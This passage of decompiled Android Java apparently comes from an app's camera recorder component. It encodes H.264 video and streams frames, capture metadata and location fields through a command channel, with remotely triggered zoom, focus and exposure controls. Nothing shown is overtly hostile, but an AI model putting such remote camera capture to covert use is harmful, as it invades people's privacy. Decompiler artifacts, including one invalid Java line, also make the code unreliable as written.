CameraHUAWEI.this.comand.WriteOut(String.format("result=BitRate:%s", CameraHUAWEI.this.CamResFPS[0]));
|
||||
CameraHUAWEI.this.comand.WriteOut(String.format("result=BitRate:%d", Integer.valueOf(CameraHUAWEI.this.format.getInteger("bitrate"))));
|
||||
CameraHUAWEI.this.comand.WriteOut(String.format("result=FrameRate:%d", Integer.valueOf(CameraHUAWEI.this.format.getInteger("frame-rate"))));
|
||||
CameraHUAWEI.this.mMediaCodec = MediaCodec.createEncoderByType("video/avc");
|
||||
CameraHUAWEI.this.mMediaCodec.configure(CameraHUAWEI.this.format, (Surface) null, (MediaCrypto) null, 1);
|
||||
CameraHUAWEI cameraHUAWEI4 = CameraHUAWEI.this;
|
||||
cameraHUAWEI4.mRecordingSurface = cameraHUAWEI4.mMediaCodec.createInputSurface();
|
||||
CameraHUAWEI.this.mOutputSurfaces = new ArrayList(1);
|
||||
CameraHUAWEI.this.mOutputSurfaces.add(CameraHUAWEI.this.mRecordingSurface);
|
||||
CameraHUAWEI.this.mCamera.createCaptureSession(CameraHUAWEI.this.mOutputSurfaces, CameraHUAWEI.this.sessionListener, null);
|
||||
CameraHUAWEI.this.mMediaCodec.start();
|
||||
} catch (Exception e) {
|
||||
CameraHUAWEI.this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onDisconnected(CameraDevice cameraDevice) {
|
||||
CameraHUAWEI.Restarting = true;
|
||||
CameraHUAWEI.Starting = false;
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onError(CameraDevice cameraDevice, int i) {
|
||||
CameraHUAWEI.this.comand.WriteOut(String.format("result=C.E(%d)", Integer.valueOf(i)));
|
||||
}
|
||||
};
|
||||
CameraCaptureSession.StateCallback sessionListener = new CameraCaptureSession.StateCallback() { // from class: com.nvav.srv.recorder.CameraHUAWEI.2
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onClosed(CameraCaptureSession cameraCaptureSession) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onConfigureFailed(CameraCaptureSession cameraCaptureSession) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onConfigured(CameraCaptureSession cameraCaptureSession) {
|
||||
try {
|
||||
CameraHUAWEI.this.mSession = cameraCaptureSession;
|
||||
CameraHUAWEI cameraHUAWEI = CameraHUAWEI.this;
|
||||
cameraHUAWEI.mRecordingRequestBuilder = cameraHUAWEI.mCamera.createCaptureRequest(3);
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.addTarget(CameraHUAWEI.this.mRecordingSurface);
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, new Range(Integer.valueOf(Integer.parseInt(CameraHUAWEI.this.CamResFPS[4])), Integer.valueOf(Integer.parseInt(CameraHUAWEI.this.CamResFPS[5]))));
|
||||
CameraHUAWEI.this.setParams();
|
||||
if (CameraHUAWEI.Restarting) {
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, CameraHUAWEI.this.rect);
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(CameraHUAWEI.this.aec));
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(CameraHUAWEI.this.cem));
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, CameraHUAWEI.this.cafr);
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(CameraHUAWEI.this.ss));
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, CameraHUAWEI.this.sfd);
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, CameraHUAWEI.this.set);
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraHUAWEI.this.cafm));
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, Integer.valueOf(CameraHUAWEI.this.caem));
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, Integer.valueOf(CameraHUAWEI.this.caft));
|
||||
CameraHUAWEI.this.setParams();
|
||||
}
|
||||
CameraHUAWEI.this.mRecordingThread = new Thread() { // from class: com.nvav.srv.recorder.CameraHUAWEI.2.1
|
||||
@Override // java.lang.Thread, java.lang.Runnable
|
||||
public void run() {
|
||||
while (CameraHUAWEI.Starting) {
|
||||
try {
|
||||
CameraHUAWEI.this.encode(false);
|
||||
sleep(1L);
|
||||
} catch (Exception e) {
|
||||
CameraHUAWEI.this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
try {
|
||||
CameraHUAWEI.this.rect = (Rect) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
CameraHUAWEI.this.aec = ((Integer) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue();
|
||||
CameraHUAWEI.this.cem = ((Integer) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue();
|
||||
CameraHUAWEI.this.cafr = (MeteringRectangle[]) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_REGIONS);
|
||||
CameraHUAWEI.this.cafm = ((Integer) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_MODE)).intValue();
|
||||
CameraHUAWEI.this.caft = ((Integer) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_TRIGGER)).intValue();
|
||||
CameraHUAWEI.this.lfd = ((Float) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.LENS_FOCUS_DISTANCE)).floatValue();
|
||||
CameraHUAWEI.this.caem = ((Integer) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_MODE)).intValue();
|
||||
CameraHUAWEI.this.ss = ((Integer) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_SENSITIVITY)).intValue();
|
||||
CameraHUAWEI.this.sfd = (Long) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_FRAME_DURATION);
|
||||
CameraHUAWEI.this.set = (Long) CameraHUAWEI.this.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_EXPOSURE_TIME);
|
||||
} catch (Exception e2) {
|
||||
CameraHUAWEI.this.comand.WriteErr(e2);
|
||||
}
|
||||
try {
|
||||
CameraHUAWEI.this.mCamera.close();
|
||||
} catch (Exception e3) {
|
||||
CameraHUAWEI.this.comand.WriteErr(e3);
|
||||
}
|
||||
try {
|
||||
if (CameraHUAWEI.this.mMediaCodec != null) {
|
||||
CameraHUAWEI.this.mMediaCodec.stop();
|
||||
CameraHUAWEI.this.mMediaCodec.release();
|
||||
}
|
||||
} catch (Exception e4) {
|
||||
CameraHUAWEI.this.comand.WriteErr(e4);
|
||||
}
|
||||
try {
|
||||
if (CameraHUAWEI.this.mRecordingSurface != null) {
|
||||
CameraHUAWEI.this.mRecordingSurface.release();
|
||||
CameraHUAWEI.this.mRecordingSurface = null;
|
||||
}
|
||||
} catch (Exception e5) {
|
||||
CameraHUAWEI.this.comand.WriteErr(e5);
|
||||
}
|
||||
try {
|
||||
CameraHUAWEI.this.mOutputSurfaces.clear();
|
||||
CameraHUAWEI.this.mOutputSurfaces = null;
|
||||
} catch (Exception e6) {
|
||||
CameraHUAWEI.this.comand.WriteErr(e6);
|
||||
}
|
||||
CameraHUAWEI.this.mMediaCodec = null;
|
||||
CameraHUAWEI.this.mCamera = null;
|
||||
try {
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.removeTarget(CameraHUAWEI.this.mRecordingSurface);
|
||||
} catch (Exception e7) {
|
||||
CameraHUAWEI.this.comand.WriteErr(e7);
|
||||
}
|
||||
try {
|
||||
sleep(750L);
|
||||
} catch (Exception e8) {
|
||||
CameraHUAWEI.this.comand.WriteErr(e8);
|
||||
}
|
||||
try {
|
||||
CameraHUAWEI.this.mThread.interrupt();
|
||||
CameraHUAWEI.this.mThread2.interrupt();
|
||||
CameraHUAWEI.this.mThread3.interrupt();
|
||||
} catch (Exception e9) {
|
||||
CameraHUAWEI.this.comand.WriteErr(e9);
|
||||
}
|
||||
if (CameraHUAWEI.Restarting) {
|
||||
try {
|
||||
CameraHUAWEI.this.StartRestart();
|
||||
} catch (Exception e10) {
|
||||
CameraHUAWEI.this.comand.WriteErr(e10);
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
CameraHUAWEI.this.mRecordingThread.start();
|
||||
if (CameraHUAWEI.Restarting) {
|
||||
try {
|
||||
Thread.sleep(250L);
|
||||
} catch (Exception e) {
|
||||
CameraHUAWEI.this.comand.WriteErr(e);
|
||||
}
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraHUAWEI.this.cafm));
|
||||
CameraHUAWEI.this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(CameraHUAWEI.this.lfd));
|
||||
CameraHUAWEI.Restarting = false;
|
||||
CameraHUAWEI.this.setParams();
|
||||
}
|
||||
} catch (Exception e2) {
|
||||
CameraHUAWEI.this.comand.WriteErr(e2);
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onActive(CameraCaptureSession cameraCaptureSession) {
|
||||
Log.d("CameraCaptureSession ac", String.format("time %d", Long.valueOf(System.currentTimeMillis())));
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onReady(CameraCaptureSession cameraCaptureSession) {
|
||||
Log.d("CameraCaptureSession re", String.format("time %d", Long.valueOf(System.currentTimeMillis())));
|
||||
}
|
||||
};
|
||||
private CameraCaptureSession.CaptureCallback mCaptureCallback = new CameraCaptureSession.CaptureCallback() { // from class: com.nvav.srv.recorder.CameraHUAWEI.3
|
||||
long time_out_param = System.currentTimeMillis();
|
||||
double lat = 0.0d;
|
||||
double lon = 0.0d;
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureFailed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureFailure captureFailure) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureSequenceAborted(CameraCaptureSession cameraCaptureSession, int i) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureSequenceCompleted(CameraCaptureSession cameraCaptureSession, int i, long j) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureStarted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, long j, long j2) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureCompleted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, TotalCaptureResult totalCaptureResult) {
|
||||
if (System.currentTimeMillis() - this.time_out_param > 200) {
|
||||
String format = String.format("%f;%f;%d;%d;%.2f;%f;%d", Double.valueOf(this.lat), Double.valueOf(this.lon), totalCaptureResult.get(CaptureResult.SENSOR_SENSITIVITY), Long.valueOf(1000000000 / ((Long) totalCaptureResult.get(CaptureResult.SENSOR_FRAME_DURATION)).longValue()), totalCaptureResult.get(CaptureResult.LENS_APERTURE), totalCaptureResult.get(CaptureResult.LENS_FOCUS_DISTANCE), totalCaptureResult.get(CaptureResult.SENSOR_EXPOSURE_TIME));
|
||||
CameraHUAWEI.this.comand.WriteOut(ByteBuffer.allocate(format.length() + 1).put((byte) 77).put(format.getBytes()).array());
|
||||
this.time_out_param = System.currentTimeMillis();
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureProgressed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureResult captureResult) {
|
||||
Log.d("CameraCaptureSession pr", String.format("time %d", Long.valueOf(System.currentTimeMillis())));
|
||||
}
|
||||
};
|
||||
int endkey = 0;
|
||||
int outbyte = 0;
|
||||
short outFPS = 0;
|
||||
long timebyte = System.currentTimeMillis();
|
||||
ByteArrayOutputStream output = new ByteArrayOutputStream();
|
||||
int iTest = 1;
|
||||
|
||||
/* JADX INFO: Access modifiers changed from: private */
|
||||
public void setParams() {
|
||||
try {
|
||||
this.mSession.setRepeatingRequest(this.mRecordingRequestBuilder.build(), this.mCaptureCallback, this.mHandler2);
|
||||
} catch (CameraAccessException e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
void StartRestart() {
|
||||
try {
|
||||
this.mCameraManager = (CameraManager) this.speek.getApplicationContext().getSystemService("camera");
|
||||
Starting = true;
|
||||
HandlerThread handlerThread = new HandlerThread("CameraThread");
|
||||
this.mThread = handlerThread;
|
||||
handlerThread.start();
|
||||
this.mHandler = new Handler(this.mThread.getLooper());
|
||||
HandlerThread handlerThread2 = new HandlerThread("CameraThread2");
|
||||
this.mThread2 = handlerThread2;
|
||||
handlerThread2.start();
|
||||
this.mHandler2 = new Handler(this.mThread2.getLooper());
|
||||
HandlerThread handlerThread3 = new HandlerThread("CameraThread3");
|
||||
this.mThread3 = handlerThread3;
|
||||
handlerThread3.start();
|
||||
this.mHandler3 = new Handler(this.mThread3.getLooper());
|
||||
long currentTimeMillis = System.currentTimeMillis();
|
||||
while (System.currentTimeMillis() - currentTimeMillis <= 10000) {
|
||||
String[] cameraIdList = this.mCameraManager.getCameraIdList();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (String str : cameraIdList) {
|
||||
sb.append(str).append(";");
|
||||
}
|
||||
this.comand.WriteOut(String.format("result=camera list: %s (%d)", sb.toString(), Long.valueOf(System.currentTimeMillis() - currentTimeMillis)));
|
||||
Thread.sleep(300L);
|
||||
if (cameraIdList.length != 0) {
|
||||
Stream stream = Arrays.stream(cameraIdList);
|
||||
final String str2 = this.CamResFPS[1];
|
||||
Objects.requireNonNull(str2);
|
||||
if (stream.anyMatch(new Predicate() { // from class: com.nvav.srv.recorder.CameraHUAWEI$$ExternalSyntheticLambda0
|
||||
@Override // java.util.function.Predicate
|
||||
public final boolean test(Object obj) {
|
||||
boolean equals;
|
||||
equals = str2.equals((String) obj);
|
||||
return equals;
|
||||
}
|
||||
})) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
this.mCameraManager.openCamera(this.CamResFPS[1], this.mDeviceListener, this.mHandler);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
public CameraHUAWEI(CameraManager cameraManager, Speek speek, String str, Comand comand) {
|
||||
this.CamResFPS = str.split(";");
|
||||
this.comand = comand;
|
||||
comand.WriteOut(String.format("result=%s", str));
|
||||
this.speek = speek;
|
||||
this.mBufferInfo = new MediaCodec.BufferInfo();
|
||||
StartRestart();
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public void Stop() {
|
||||
try {
|
||||
Starting = false;
|
||||
encode(true);
|
||||
this.mCamera.close();
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
/* JADX INFO: Access modifiers changed from: private */
|
||||
public void encode(boolean z) {
|
||||
if (z) {
|
||||
MediaCodec mediaCodec = this.mMediaCodec;
|
||||
if (mediaCodec == null) {
|
||||
return;
|
||||
}
|
||||
mediaCodec.signalEndOfInputStream();
|
||||
}
|
||||
try {
|
||||
int i = this.iTest;
|
||||
int i2 = i / i;
|
||||
int dequeueOutputBuffer = this.mMediaCodec.dequeueOutputBuffer(this.mBufferInfo, 100L);
|
||||
if (dequeueOutputBuffer < 0) {
|
||||
if (dequeueOutputBuffer == -2) {
|
||||
this.mMediaCodec.getOutputFormat();
|
||||
return;
|
||||
}
|
||||
return;
|
||||
}
|
||||
ByteBuffer outputBuffer = this.mMediaCodec.getOutputBuffer(dequeueOutputBuffer);
|
||||
if (outputBuffer == null) {
|
||||
return;
|
||||
}
|
||||
if (this.mBufferInfo.size != 0) {
|
||||
this.outbyte += this.mBufferInfo.size;
|
||||
this.outFPS = (short) (this.outFPS + 1);
|
||||
if (System.currentTimeMillis() - this.timebyte > 1000) {
|
||||
this.comand.WriteOut(ByteBuffer.allocate(11).put((byte) 8).putShort(this.outFPS).putInt(this.outbyte).putInt((int) (System.currentTimeMillis() - this.timebyte)).array());
|
||||
this.outbyte = 0;
|
||||
this.outFPS = (short) 0;
|
||||
this.timebyte = System.currentTimeMillis();
|
||||
}
|
||||
outputBuffer.position(this.mBufferInfo.offset);
|
||||
outputBuffer.limit(this.mBufferInfo.offset + this.mBufferInfo.size);
|
||||
byte[] bArr = new byte[this.mBufferInfo.size];
|
||||
outputBuffer.get(bArr);
|
||||
if (this.mBufferInfo.flags == 2) {
|
||||
try {
|
||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
byteArrayOutputStream.write(3);
|
||||
byteArrayOutputStream.write(2);
|
||||
byteArrayOutputStream.write(bArr);
|
||||
byteArrayOutputStream.flush();
|
||||
this.config = byteArrayOutputStream.toByteArray();
|
||||
byteArrayOutputStream.close();
|
||||
} catch (IOException e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
this.countSend++;
|
||||
ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream();
|
||||
byteArrayOutputStream2.write(3);
|
||||
if (this.mBufferInfo.flags == 1) {
|
||||
this.endkey = this.countSend;
|
||||
this.comand.WriteOut(this.config);
|
||||
byteArrayOutputStream2.write(1);
|
||||
ByteBuffer allocate = ByteBuffer.allocate(4);
|
||||
allocate.putInt(this.endkey);
|
||||
byteArrayOutputStream2.write(allocate.array());
|
||||
} else {
|
||||
byteArrayOutputStream2.write(0);
|
||||
ByteBuffer allocate2 = ByteBuffer.allocate(8);
|
||||
allocate2.putInt(this.countSend);
|
||||
allocate2.putInt(this.endkey);
|
||||
byteArrayOutputStream2.write(allocate2.array());
|
||||
}
|
||||
byteArrayOutputStream2.write(bArr);
|
||||
byteArrayOutputStream2.flush();
|
||||
this.comand.WriteOut(byteArrayOutputStream2.toByteArray());
|
||||
byteArrayOutputStream2.close();
|
||||
} catch (IOException e2) {
|
||||
this.comand.WriteErr(e2);
|
||||
}
|
||||
}
|
||||
}
|
||||
this.mMediaCodec.releaseOutputBuffer(dequeueOutputBuffer, true);
|
||||
} catch (ArithmeticException e3) {
|
||||
this.comand.WriteErr(e3);
|
||||
this.iTest = 1;
|
||||
this.mMediaCodec.reset();
|
||||
} catch (IllegalStateException e4) {
|
||||
this.comand.WriteErr(e4);
|
||||
Restarting = true;
|
||||
Starting = false;
|
||||
}
|
||||
}
|
||||
|
||||
byte[] putInt(int i) {
|
||||
return ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(i).array();
|
||||
}
|
||||
|
||||
private Point toThis(Point point) {
|
||||
Rect rect = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
point.x = ((point.x * rect.width()) / this.MaxSize.getWidth()) + rect.left;
|
||||
point.y = ((point.y * rect.height()) / this.MaxSize.getHeight()) + rect.top;
|
||||
return point;
|
||||
}
|
||||
|
||||
private String ZoomNew(String str) {
|
||||
try {
|
||||
float parseInt = ((Integer.parseInt(str) * (((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue() - 1.0f)) / 100.0f) + 1.0f;
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
int width = rect.width() / 2;
|
||||
int height = rect.height() / 2;
|
||||
int width2 = (int) ((rect.width() * 0.5f) / parseInt);
|
||||
int height2 = (int) ((rect.height() * 0.5f) / parseInt);
|
||||
Rect rect2 = new Rect(width - width2, height - height2, width + width2, height + height2);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect2);
|
||||
setParams();
|
||||
return String.format("Zoom x%f (%dx%d) %s [%d,%d,%d,%d]", Float.valueOf(parseInt), Integer.valueOf(rect2.centerX()), Integer.valueOf(rect2.centerY()), str, Integer.valueOf(rect2.left), Integer.valueOf(rect2.top), Integer.valueOf(rect2.right), Integer.valueOf(rect2.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String ZoomPlus(String str, double d) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
float floatValue = ((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue();
|
||||
Rect rect2 = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
String[] split = str.split(",");
|
||||
Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1])));
|
||||
int round = (int) Math.round(rect2.width() * d);
|
||||
int round2 = (int) Math.round(rect2.height() * d);
|
||||
if (round < rect.width() / floatValue) {
|
||||
round = (int) (rect.width() / floatValue);
|
||||
}
|
||||
if (round2 < rect.height() / floatValue) {
|
||||
round2 = (int) (rect.height() / floatValue);
|
||||
}
|
||||
Rect rect3 = new Rect(point.x - (round / 2), point.y - (round2 / 2), point.x + (round / 2), point.y + (round2 / 2));
|
||||
if (rect3.left < 0) {
|
||||
rect3.right -= rect3.left;
|
||||
rect3.left = 0;
|
||||
}
|
||||
if (rect3.top < 0) {
|
||||
rect3.bottom -= rect3.top;
|
||||
rect3.top = 0;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect3);
|
||||
setParams();
|
||||
return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", Integer.valueOf((int) Math.round((rect.width() * rect.height()) / (rect3.width() * rect3.height()))), Integer.valueOf(rect3.centerX()), Integer.valueOf(rect3.centerY()), Integer.valueOf(rect3.left), Integer.valueOf(rect3.top), Integer.valueOf(rect3.right), Integer.valueOf(rect3.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String BrightPlus() {
|
||||
String str = "";
|
||||
try {
|
||||
int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() + 1;
|
||||
if (intValue > 4) {
|
||||
intValue = 4;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue));
|
||||
str = String.format("Brightness %d", Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return str;
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String BrightMinus() {
|
||||
String str = "";
|
||||
try {
|
||||
int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() - 1;
|
||||
if (intValue < -4) {
|
||||
intValue = -4;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue));
|
||||
str = String.format("Brightness %d", Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return str;
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String WhileBlack() {
|
||||
String str = "";
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue() == 0 ? 1 : 0));
|
||||
str = "Black and white.";
|
||||
setParams();
|
||||
return "Black and white.";
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String ZoomMinus(String str) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, new Rect(0, 0, rect.right, rect.bottom));
|
||||
setParams();
|
||||
return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", 1, Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(rect.left), Integer.valueOf(rect.top), Integer.valueOf(rect.right), Integer.valueOf(rect.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String Monochrom(String str) {
|
||||
int i = !str.equals("0");
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(i));
|
||||
setParams();
|
||||
return i == 1 ? "Monochrom enable." : "Monochrom disable.";
|
||||
}
|
||||
|
||||
private Rect getRect(String str) {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
String[] split = str.split(",");
|
||||
int parseInt = Integer.parseInt(split[2]);
|
||||
int parseInt2 = Integer.parseInt(split[3]);
|
||||
if (parseInt > rect.width()) {
|
||||
parseInt = rect.width();
|
||||
}
|
||||
if (parseInt2 > rect.height()) {
|
||||
parseInt2 = rect.height();
|
||||
}
|
||||
Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1])));
|
||||
int i = parseInt / 2;
|
||||
int i2 = parseInt2 / 2;
|
||||
Rect rect2 = new Rect(point.x - i, point.y - i2, point.x + i, point.y + i2);
|
||||
if (rect2.top < rect.top) {
|
||||
rect2.bottom -= rect2.top - rect.top;
|
||||
rect2.top = rect.top;
|
||||
}
|
||||
if (rect2.left < rect.left) {
|
||||
rect2.right -= rect2.left - rect.left;
|
||||
rect2.left = rect.left;
|
||||
}
|
||||
if (rect2.bottom > rect.bottom) {
|
||||
rect2.bottom = rect.bottom;
|
||||
}
|
||||
if (rect2.right > rect.right) {
|
||||
rect2.right = rect.right;
|
||||
}
|
||||
return rect2;
|
||||
}
|
||||
|
||||
private String AF(String str) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 2);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0);
|
||||
setParams();
|
||||
Rect rect2 = getRect(str);
|
||||
if (rect.contains(rect2)) {
|
||||
rect = rect2;
|
||||
}
|
||||
MeteringRectangle[] meteringRectangleArr = {new MeteringRectangle(rect, 0)};
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, meteringRectangleArr);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 1);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 1);
|
||||
setParams();
|
||||
return String.format("AF: %dx%d [%d,%d,%d,%d,%d]", Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(meteringRectangleArr[0].getX()), Integer.valueOf(meteringRectangleArr[0].getY()), Integer.valueOf(meteringRectangleArr[0].getWidth()), Integer.valueOf(meteringRectangleArr[0].getHeight()), Integer.valueOf(meteringRectangleArr[0].getMeteringWeight()));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String Focus(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0);
|
||||
float parseFloat = (Float.parseFloat(str) * ((Float) this.properties.get(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE)).floatValue()) / 1000.0f;
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(parseFloat));
|
||||
setParams();
|
||||
return String.format("Focus: %f", Float.valueOf(parseFloat));
|
||||
}
|
||||
|
||||
private String Sensitivity(String str) {
|
||||
int parseInt = Integer.parseInt(str);
|
||||
Range range = (Range) this.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE);
|
||||
